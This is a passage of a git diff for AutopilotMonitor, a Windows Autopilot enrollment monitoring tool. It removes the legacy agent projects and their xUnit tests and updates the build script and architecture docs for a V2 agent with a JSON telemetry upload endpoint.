diff --git a/AutopilotMonitor.sln b/AutopilotMonitor.sln
index e4fe5a91..e5705e25 100644
--- a/AutopilotMonitor.sln
+++ b/AutopilotMonitor.sln
@@ -11,10 +11,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Shared", "
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Agent", "Agent", "{096B6098-F141-7114-B090-72D1899D8853}"
EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core", "src\Agent\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj", "{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}"
-EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent", "src\Agent\AutopilotMonitor.Agent\AutopilotMonitor.Agent.csproj", "{7252A85F-60EC-4CFA-B3A6-A204241FFBBC}"
-EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Backend", "Backend", "{FE360695-3F2B-1049-3887-35FBB5135923}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions", "src\Backend\AutopilotMonitor.Functions\AutopilotMonitor.Functions.csproj", "{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}"
@@ -23,8 +19,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions.
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}"
EndProject
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}"
-EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.DecisionCore", "src\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj", "{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.V2", "src\Agent\AutopilotMonitor.Agent.V2\AutopilotMonitor.Agent.V2.csproj", "{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054}"
@@ -59,30 +53,6 @@ Global
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x64.Build.0 = Release|Any CPU
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.ActiveCfg = Release|Any CPU
{A54780AA-B9BD-4575-A935-2C3E0296B405}.Release|x86.Build.0 = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.ActiveCfg = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x64.Build.0 = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.ActiveCfg = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Debug|x86.Build.0 = Debug|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|Any CPU.Build.0 = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.ActiveCfg = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x64.Build.0 = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.ActiveCfg = Release|Any CPU
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B}.Release|x86.Build.0 = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.ActiveCfg = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x64.Build.0 = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.ActiveCfg = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Debug|x86.Build.0 = Debug|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|Any CPU.Build.0 = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.ActiveCfg = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x64.Build.0 = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.ActiveCfg = Release|Any CPU
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC}.Release|x86.Build.0 = Release|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682}.Debug|x64.ActiveCfg = Debug|Any CPU
@@ -119,18 +89,6 @@ Global
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF}.Debug|x64.ActiveCfg = Debug|Any CPU
@@ -211,13 +169,10 @@ Global
{C8E42992-5E42-0C2B-DBFE-AA848D06431C} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{A54780AA-B9BD-4575-A935-2C3E0296B405} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
{096B6098-F141-7114-B090-72D1899D8853} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
- {4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853}
- {7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853}
{FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923}
{E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923}
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853}
- {89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853}
{306C580A-0C25-4B4C-90B9-F15D0E0E0DDF} = {C8E42992-5E42-0C2B-DBFE-AA848D06431C}
{F9DCEFA0-127B-4E3F-BF52-4680DB4CA054} = {096B6098-F141-7114-B090-72D1899D8853}
{22CB0E75-793A-4FC9-ADE4-48580BCE6321} = {096B6098-F141-7114-B090-72D1899D8853}
diff --git a/build.ps1 b/build.ps1
index 79b60fb9..8b9632ad 100644
--- a/build.ps1
+++ b/build.ps1
@@ -144,7 +144,7 @@ Write-Host " Build Completed Successfully!" -ForegroundColor Green
Write-Host "============================================" -ForegroundColor Cyan
Write-Host ""
Write-Host "Output locations:" -ForegroundColor White
-Write-Host " Agent: src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48\" -ForegroundColor Gray
+Write-Host " Agent: src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48\" -ForegroundColor Gray
Write-Host " Functions: src\Backend\AutopilotMonitor.Functions\bin\$Configuration\net8.0\" -ForegroundColor Gray
if ($IncludeWeb) {
@@ -158,9 +158,9 @@ Write-Host " 2. Start Functions: cd src\Backend\AutopilotMonitor.Functions && f
if ($IncludeWeb) {
Write-Host " 3. Start Web UI: cd src\Web\autopilot-monitor-web && npm run dev" -ForegroundColor Gray
- Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
+ Write-Host " 4. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
}
else {
- Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
+ Write-Host " 3. Test Agent: cd src\Agent\AutopilotMonitor.Agent.V2\bin\$Configuration\net48 && .\AutopilotMonitor.Agent.exe --console" -ForegroundColor Gray
}
diff --git a/docs/architecture.md b/docs/architecture.md
index 25d7de26..7a7c73d2 100644
--- a/docs/architecture.md
+++ b/docs/architecture.md
@@ -50,7 +50,7 @@
**Core Data Flow:**
```
-Device (Agent) ──NDJSON+gzip──► Azure Functions ──► Azure Table Storage
+Device (Agent) ──JSON telemetry+gzip──► Azure Functions ──► Azure Table Storage
│ │
├── SignalR ─────────►│
│ │
@@ -97,9 +97,10 @@ AutopilotMonitor.sln
├── src/
│ ├── Shared/AutopilotMonitor.Shared/ (netstandard2.0)
│ ├── Agent/
-│ │ ├── AutopilotMonitor.Agent/ (net48, Exe – entry point)
-│ │ ├── AutopilotMonitor.Agent.Core/ (net48, Lib – core logic)
-│ │ ├── AutopilotMonitor.Agent.Core.Tests/ (net48, xUnit – agent unit tests)
+│ │ ├── AutopilotMonitor.Agent.V2/ (net48, Exe – entry point; output named AutopilotMonitor.Agent.exe)
+│ │ ├── AutopilotMonitor.Agent.V2.Core/ (net48, Lib – core logic)
+│ │ ├── AutopilotMonitor.Agent.V2.Core.Tests/ (net48, xUnit – agent unit tests)
+│ │ ├── AutopilotMonitor.DecisionCore.Tests/ (net48, xUnit – decision engine tests)
│ │ └── AutopilotMonitor.SummaryDialog/ (net48, WPF – enrollment summary UI)
│ ├── Backend/
│ │ ├── AutopilotMonitor.Functions/ (net8.0, Azure Functions v4)
@@ -122,9 +123,10 @@ AutopilotMonitor.sln
**Project References:**
```
-Shared ◄── Agent.Core ◄── Agent
- ◄── Agent.Core.Tests
- ◄── SummaryDialog
+Shared + DecisionCore ◄── Agent.V2.Core ◄── Agent.V2
+ ◄── Agent.V2.Core.Tests
+Shared + DecisionCore ◄── DecisionCore.Tests
+SummaryDialog (standalone; compiled alongside the agent build)
Shared ◄── Functions ◄── Functions.Tests
Web (independent – communicates via REST + SignalR)
```
@@ -135,7 +137,7 @@ Web (independent – communicates via REST + SignalR)
### Entry Point & Modes
-**File:** `src/Agent/AutopilotMonitor.Agent/Program.cs`
+**File:** `src/Agent/AutopilotMonitor.Agent.V2/Program.cs`
Four execution modes:
1. **Normal mode** (default) – Main enrollment monitoring loop
@@ -214,29 +216,30 @@ Each implements `IGatherRuleCollector`:
Security enforced by `GatherRuleGuards` (allowed targets) and `DiagnosticsPathGuards` (path validation, respects `UnrestrictedMode`).
-### Directory Layout (Agent.Core)
+### Directory Layout (Agent.V2.Core)
```
Configuration/ Config loading, remote config service
+Diagnostics/ Diagnostics package creation + upload
Logging/ AgentLogger (file + optional console)
-Monitoring/
-├── Analyzers/ Security checks (LocalAdminAnalyzer, SoftwareInventoryAnalyzer)
-├── Collectors/ Data collectors (ESP, Hello, Performance, GatherRules, Diagnostics, Desktop)
-│ └── GatherCollectors/ Per-type gather rule collectors
-├── Core/ Orchestration (MonitoringService, EventSpool, SessionPersistence, CleanupService)
-├── Interop/ P/Invoke declarations (process creation, registry change notifications)
-├── Network/ API client, distress/emergency reporters, geo-location, NTP, network metrics
-├── Replay/ Log replay for testing/simulation
-└── Tracking/ Enrollment state machine, IME parser, script/app tracking, state persistence
+Monitoring/ Collectors, trackers, analyzers, gather rule executors
+Orchestration/ Decision engine wiring (kernel)
+Persistence/ Session/state persistence
+Runtime/ Self-updater, lifecycle, watchdog
Security/ Certificate helper, enrollment awaiter, hardware info
+SignalAdapters/ Raw observations → typed decision signals
+Telemetry/ Telemetry item batching + spool
+Termination/ Terminal-outcome classification
+Transport/ Backend API client (mTLS cert + hardware headers + bootstrap token)
```
+(See `src/Agent/AutopilotMonitor.Agent.V2.Core/README.md` for the authoritative kernel/peripheral map.)
### Event Collection & Upload
1. Collector emits `EnrollmentEvent` → sequence number auto-assigned (thread-safe Interlocked)
2. Event saved to spool as JSON file: `event_{timestamp}_{sequence}.json`
3. FileSystemWatcher triggers debounce timer (configurable `UploadIntervalSeconds`, default 30s)
-4. Batch upload: NDJSON + gzip compression, max 100 events per batch
+4. Batch upload: JSON `TelemetryItem[]` (Events + Signals + DecisionTransitions) + gzip compression, max 100 events per batch
5. Response handling: `DeviceKillSignal` → self-destruct; `DeviceBlocked` → stop uploads
### Idle Timeout & Lifetime
@@ -289,7 +292,7 @@ Registered in this order:
| Route | Method | Purpose |
|-------|--------|---------|
| `/agent/register-session` | POST | Register new enrollment session |
-| `/agent/ingest` | POST | Upload events (NDJSON+gzip) |
+| `/agent/telemetry` | POST | Upload telemetry batch (Events + Signals + DecisionTransitions, JSON+gzip) |
| `/agent/config` | GET | Fetch agent configuration |
| `/agent/upload-url` | POST | Get short-lived SAS URL for diagnostics |
| `/agent/error` | POST | Report agent errors |
@@ -303,7 +306,6 @@ Registered in this order:
| `/bootstrap/sessions/{code}` | DELETE | Revoke bootstrap session |
| `/bootstrap/validate/{code}` | GET | Validate bootstrap code (public) |
| `/bootstrap/register-session` | POST | Register via bootstrap token |
-| `/bootstrap/ingest` | POST | Ingest via bootstrap token |
| `/bootstrap/config` | POST | Config via bootstrap token |
| `/bootstrap/error` | POST | Error report via bootstrap token |
@@ -397,7 +399,7 @@ Repository pattern via interfaces in `AutopilotMonitor.Shared/DataAccess/`:
### Event Processing Pipeline
```
-Agent POST /api/agent/ingest (NDJSON+gzip)
+Agent POST /api/agent/telemetry (JSON TelemetryItem[] + gzip)
│
├─ SecurityValidator.ValidateRequestAsync()
│ ├─ Tenant existence & suspension
@@ -409,32 +411,29 @@ Agent POST /api/agent/ingest (NDJSON+gzip)
│
├─ BlockedDeviceService.IsBlockedAsync() → kill/block signal
│
- ├─ ParseNdjsonGzipRequest() → decompress + parse events
+ ├─ Body size cap → TelemetryPayloadParser (route per TelemetryItem.Kind)
+ │ ├─ Signal → Signals table (+ optional index-reconcile queue)
+ │ ├─ DecisionTransition → DecisionTransitions table (+ queue)
+ │ └─ Event → EventIngestProcessor (below)
│
- ├─ StampServerFields() → ReceivedAt, TenantId, SessionId
+ ├─ SessionDeletionGuard → 410 Gone while a cascade owns the session
│
- ├─ EventTimestampValidator → clamp/validate timestamps
- │
- ├─ TableStorageService.StoreEventsBatchAsync()
- │
- ├─ ClassifyEvents()
- │ ├─ Extract geo-location
- │ ├─ Track app installs → AppInstallSummaries table
- │ └─ Detect enrollment completion/failure
- │
- ├─ UpdateSessionStatusAsync() → merge session row
- │
- ├─ RuleEngine.AnalyzeSessionAsync() (on enrollment end)
- │ └─ StoreRuleResultAsync() → RuleResults table
- │
- ├─ VulnerabilityCorrelation (on software inventory events)
- │
- ├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
- │
- └─ SignalR broadcasts:
- ├─ "eventReceived" → tenant-{tenantId}
- ├─ "sessionStatusChanged" → tenant-{tenantId}
- └─ "ruleResultReceived" → tenant-{tenantId}
+ └─ EventIngestProcessor.ProcessEventsAsync()
+ ├─ StampServerFields() → ReceivedAt, TenantId, SessionId
+ ├─ EventTimestampValidator → clamp/validate timestamps
+ ├─ TableStorageService.StoreEventsBatchAsync()
+ ├─ ClassifyEvents()
+ │ ├─ Extract geo-location
+ │ ├─ Track app installs → AppInstallSummaries table
+ │ └─ Detect enrollment completion/failure
+ ├─ UpdateSessionStatusAsync() → merge session row
+ ├─ Analyze-on-enrollment-end queue → RuleEngine → RuleResults table
+ ├─ Vulnerability-correlate queue (on software inventory events)
+ ├─ WebhookNotificationService (Teams/Slack on enrollment complete/fail)
+ └─ SignalR broadcasts:
+ ├─ "eventReceived" → tenant-{tenantId}
+ ├─ "sessionStatusChanged" → tenant-{tenantId}
+ └─ "ruleResultReceived" → tenant-{tenantId}
```
---
@@ -1060,7 +1059,6 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
| `DistressValidationTests` | Distress report validation |
| `DistressRateLimitServiceTests` | Distress rate limiting |
| `EventTimestampValidationTests` | Timestamp clamping and validation |
-| `NdjsonParserTests` | NDJSON parsing |
| `BuiltInRulesTests` | Built-in rule logic |
| `EndpointPolicyCatalogCompletenessTests` | Ensures every HTTP route has a catalog entry |
| `CrossTenantAccessTests` | Validates tenant-scoped endpoints reject cross-tenant access |
@@ -1069,20 +1067,9 @@ Configuration per tenant via `TenantConfiguration.WebhookUrl` + `WebhookProvider
| `AuthFunctionTests` | Auth decision logic (roles, MCP access, bootstrap, auto-admin, preview gates) |
| `GetHardwareRejectedFunctionTests` | Hardware rejection aggregation logic |
-### Agent Tests (`src/Agent/AutopilotMonitor.Agent.Core.Tests/`)
+### Agent Tests (`src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/`, `src/Agent/AutopilotMonitor.DecisionCore.Tests/`)
-**Target:** .NET Framework 4.8, xUnit
-
-| Test File | Coverage |
-|-----------|---------|
-| `DesktopArrivalDetectorTests` | Desktop arrival detection |
-| `DiagnosticsPathGuardsTests` | Path guard validation |
-| `GatherRuleGuardsTests` | Gather rule path/target guards |
-| `AppPackageStateListTests` | App package state tracking |
-| `AppPackageStateTests` | Individual package state machine |
-| `CmTraceLogParserTests` | CMTrace log format parsing |
-| `EnrollmentStatePersistenceTests` | State file persistence |
-| `LogFilePositionTrackerTests` | Log file tail position bookmarking |
+**Target:** .NET Framework 4.8, xUnit — cover the V2 agent kernel (decision engine, signal adapters, monitoring, transport) and the shared DecisionCore.
---
@@ -1181,7 +1168,8 @@ dotnet build AutopilotMonitor.sln --nologo -v quiet
dotnet test src/Backend/AutopilotMonitor.Functions.Tests/
# Agent tests
-dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/
+dotnet test src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/
+dotnet test src/Agent/AutopilotMonitor.DecisionCore.Tests/
# Web frontend
cd src/Web/autopilot-monitor-web
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj b/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj
deleted file mode 100644
index 56bf6fd0..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/AutopilotMonitor.Agent.Core.Tests.csproj
+++ /dev/null
@@ -1,28 +0,0 @@
-
-
-
- net48
- latest
- false
-
-
-
-
-
-
-
-
-
-
-
- runtime; build; native; contentfiles; analyzers; buildtransitive
- all
-
-
-
-
-
-
-
-
-
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs
deleted file mode 100644
index 78bfeeef..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinInfoTests.cs
+++ /dev/null
@@ -1,40 +0,0 @@
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- public class AadJoinInfoTests
- {
- [Theory]
- [InlineData("foouser@contoso.onmicrosoft.com", true)]
- [InlineData("FOOUSER@CONTOSO.onmicrosoft.com", true)]
- [InlineData("FooUser@tenant.com", true)]
- [InlineData("autopilot@contoso.onmicrosoft.com", true)]
- [InlineData("AutoPilot@tenant.com", true)]
- [InlineData("AUTOPILOT@xyz.com", true)]
- public void IsPlaceholderUserEmail_KnownPatterns_ReturnsTrue(string email, bool expected)
- {
- Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
- }
-
- [Theory]
- [InlineData("alice@contoso.onmicrosoft.com")]
- [InlineData("bob.smith@company.com")]
- [InlineData("foo@bar.com")]
- [InlineData("autopilotadmin@company.com")]
- [InlineData("myfoouser@company.com")]
- public void IsPlaceholderUserEmail_RealEmails_ReturnsFalse(string email)
- {
- Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
- }
-
- [Theory]
- [InlineData(null)]
- [InlineData("")]
- [InlineData(" ")]
- public void IsPlaceholderUserEmail_NullOrEmpty_ReturnsFalse(string email)
- {
- Assert.False(AadJoinInfo.IsPlaceholderUserEmail(email));
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs
deleted file mode 100644
index cb8c880f..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/AadJoinWatcherTests.cs
+++ /dev/null
@@ -1,94 +0,0 @@
-using System;
-using System.Threading;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using Microsoft.Win32;
-using Xunit;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Integration-style tests for .
- /// Uses a temporary HKCU sub-key because the production path is under HKLM\SYSTEM which
- /// requires admin privileges. The watcher implementation reads HKLM, so these tests
- /// instead assert the observable semantics of
- /// and end-to-end placeholder / real-user classification behaviour of the watcher's
- /// decision code path that is testable without HKLM writes.
- ///
- /// The full RegNotifyChangeKeyValue flow is validated by the manual syntetic test in
- /// the verification section of the plan — it requires a test VM with elevated rights.
- ///
- public class AadJoinWatcherTests
- {
- [Fact]
- public void Constructor_NullLogger_Throws()
- {
- Assert.Throws(() => new AadJoinWatcher(null));
- }
-
- [Fact]
- public void Start_MissingRootKey_ArmsRetryTimer_DoesNotThrow()
- {
- // Running tests under a normal user cannot write HKLM — but Start() must
- // gracefully fall back to the retry timer without throwing.
- var logger = TestLogger.Instance;
- using (var watcher = new AadJoinWatcher(logger))
- {
- watcher.Start();
-
- // Give the retry timer one tick — we expect no crash, no events.
- Thread.Sleep(250);
-
- bool placeholderFired = false;
- bool realUserFired = false;
- watcher.PlaceholderUserDetected += (s, e) => placeholderFired = true;
- watcher.AadUserJoined += (s, e) => realUserFired = true;
-
- Thread.Sleep(250);
-
- Assert.False(placeholderFired);
- Assert.False(realUserFired);
- }
- }
-
- [Fact]
- public void Stop_IsIdempotent_MultipleCallsDoNotThrow()
- {
- var logger = TestLogger.Instance;
- var watcher = new AadJoinWatcher(logger);
- watcher.Start();
- watcher.Stop();
- watcher.Stop(); // idempotent
- watcher.Dispose();
- watcher.Dispose(); // idempotent
- }
-
- [Fact]
- public void Dispose_AfterStart_StopsCleanly()
- {
- var logger = TestLogger.Instance;
- var watcher = new AadJoinWatcher(logger);
- watcher.Start();
- watcher.Dispose();
-
- // After Dispose a further Start must throw
- Assert.Throws(() => watcher.Start());
- }
-
- // Delegate to AadJoinInfo-level tests for placeholder-pattern recognition — same
- // code path as the watcher uses internally.
- [Theory]
- [InlineData("foouser@tenant.onmicrosoft.com", true)]
- [InlineData("FOOUSER@foo.com", true)]
- [InlineData("autopilot@tenant.com", true)]
- [InlineData("AutoPilot@tenant.com", true)]
- [InlineData("alice@contoso.com", false)]
- [InlineData("myfoouser@contoso.com", false)]
- [InlineData("", false)]
- [InlineData(null, false)]
- public void PlaceholderEmailClassification_MatchesAadJoinInfoRule(string email, bool expected)
- {
- Assert.Equal(expected, AadJoinInfo.IsPlaceholderUserEmail(email));
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs
deleted file mode 100644
index 7fa80328..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DesktopArrivalDetectorTests.cs
+++ /dev/null
@@ -1,132 +0,0 @@
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests user exclusion logic for desktop arrival detection.
- /// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival,
- /// real users being incorrectly filtered.
- ///
- public class DesktopArrivalDetectorTests
- {
- // -- System and service accounts must be excluded --
-
- [Fact]
- public void IsExcludedUser_System_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
- }
-
- [Fact]
- public void IsExcludedUser_DomainBackslashSystem_True()
- {
- // Domain prefix must be stripped before checking
- Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM"));
- }
-
- [Fact]
- public void IsExcludedUser_LocalService_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE"));
- Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE"));
- }
-
- [Fact]
- public void IsExcludedUser_NetworkService_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE"));
- Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE"));
- }
-
- // -- DefaultUser* pattern (OOBE temp accounts) --
-
- [Fact]
- public void IsExcludedUser_DefaultUser0_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
- }
-
- [Fact]
- public void IsExcludedUser_DefaultUser1_True()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1"));
- }
-
- [Fact]
- public void IsExcludedUser_DefaultUserAnyNumber_True()
- {
- // StartsWith("DefaultUser") should match any suffix
- Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99"));
- }
-
- [Fact]
- public void IsExcludedUser_DefaultUser_CaseInsensitive()
- {
- Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0"));
- Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
- }
-
- // -- Real users must NOT be excluded --
-
- [Fact]
- public void IsExcludedUser_RealUser_False()
- {
- Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe"));
- }
-
- [Fact]
- public void IsExcludedUser_LocalRealUser_False()
- {
- Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe"));
- }
-
- [Fact]
- public void IsExcludedUser_AzureAdUser_False()
- {
- Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com"));
- }
-
- // -- Edge cases (fail-safe) --
-
- [Fact]
- public void IsExcludedUser_Null_True()
- {
- // Null/empty must be excluded (fail-safe — no user = not a real user)
